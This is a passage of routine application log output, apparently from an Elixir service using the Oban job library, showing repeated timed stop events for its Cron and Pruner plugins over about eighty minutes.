{"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:19.721 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:49.723 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.864 [info] {"source":"oban","duration":132,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:19.724 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:49.725 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.865 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:19.726 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:49.727 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.866 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:19.728 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:49.730 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.867 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:19.731 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:49.733 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.868 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:19.735 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:49.736 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.869 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:19.737 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:49.738 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.870 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:19.739 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:49.741 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.871 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:19.743 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:49.744 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.872 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:19.745 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:49.746 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.873 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:19.747 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:49.748 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.874 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:19.749 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:49.751 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.875 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:19.752 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:49.753 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.876 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:19.754 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:49.755 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.877 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:19.756 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:49.757 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.878 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:19.758 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:49.759 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.879 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:19.760 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:49.761 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.880 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:19.762 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:49.763 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.881 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:19.764 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:49.765 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.882 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:19.766 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:49.767 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.883 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:19.769 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:49.770 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.884 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:19.771 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:49.772 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.885 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:19.773 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:49.774 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.886 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:19.776 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:49.777 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.887 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:19.779 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:49.780 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.888 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:19.781 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:49.782 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.889 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:19.783 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:49.784 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.890 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:19.785 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:49.786 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.891 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:19.787 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:49.788 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.892 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:19.789 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:49.789 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.893 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:19.791 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:49.792 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.894 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:19.793 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:49.795 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.895 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:19.796 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:49.798 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.896 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:19.799 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:49.800 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.897 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:19.801 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:49.802 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.898 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:19.803 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:49.804 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.899 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:19.805 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:49.807 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.900 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:19.808 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:49.809 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.901 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:19.810 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:49.811 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.902 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:19.812 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:49.813 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.903 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:19.814 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:49.815 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.904 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:19.816 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:49.817 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.905 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:19.818 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:49.819 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.907 [info] {"source":"oban","duration":395,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:19.820 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:49.821 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.907 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:19.823 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:49.824 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.908 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:19.825 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:49.826 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.909 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:19.827 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:49.829 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.910 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:19.831 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:49.832 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.911 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:19.833 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:49.834 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.912 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:19.835 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:49.836 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.913 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:19.837 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:49.838 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.914 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:19.839 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:49.840 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.915 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:19.841 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:49.843 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.916 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:19.845 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:49.846 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.917 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:19.847 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:49.848 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.918 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:19.849 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:49.851 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.920 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:19.852 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:49.853 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.920 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:19.855 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:49.856 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.921 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:19.857 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:49.859 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.922 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:19.859 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:49.861 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.923 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:19.862 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:49.863 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.924 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:19.864 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:49.865 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.925 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:19.866 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:49.868 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.926 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:19.869 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:49.870 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.927 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:19.872 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:20:49.873 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.928 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:19.875 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:49.877 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.929 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:19.878 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:49.879 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.930 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:19.881 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:49.882 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.931 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:19.883 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:49.884 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.932 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:19.886 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:49.887 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.933 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:19.888 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:49.889 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.935 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:19.890 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:49.891 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.935 [info] {"source":"oban","duration":317,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:19.892 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:49.893 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.936 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:19.894 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:49.895 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.937 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:19.896 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:49.897 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.938 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:19.898 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:49.899 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.939 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:19.901 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:49.903 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.940 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:19.904 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:49.905 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.941 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:19.906 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:49.907 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.942 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:19.909 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:49.910 [info] 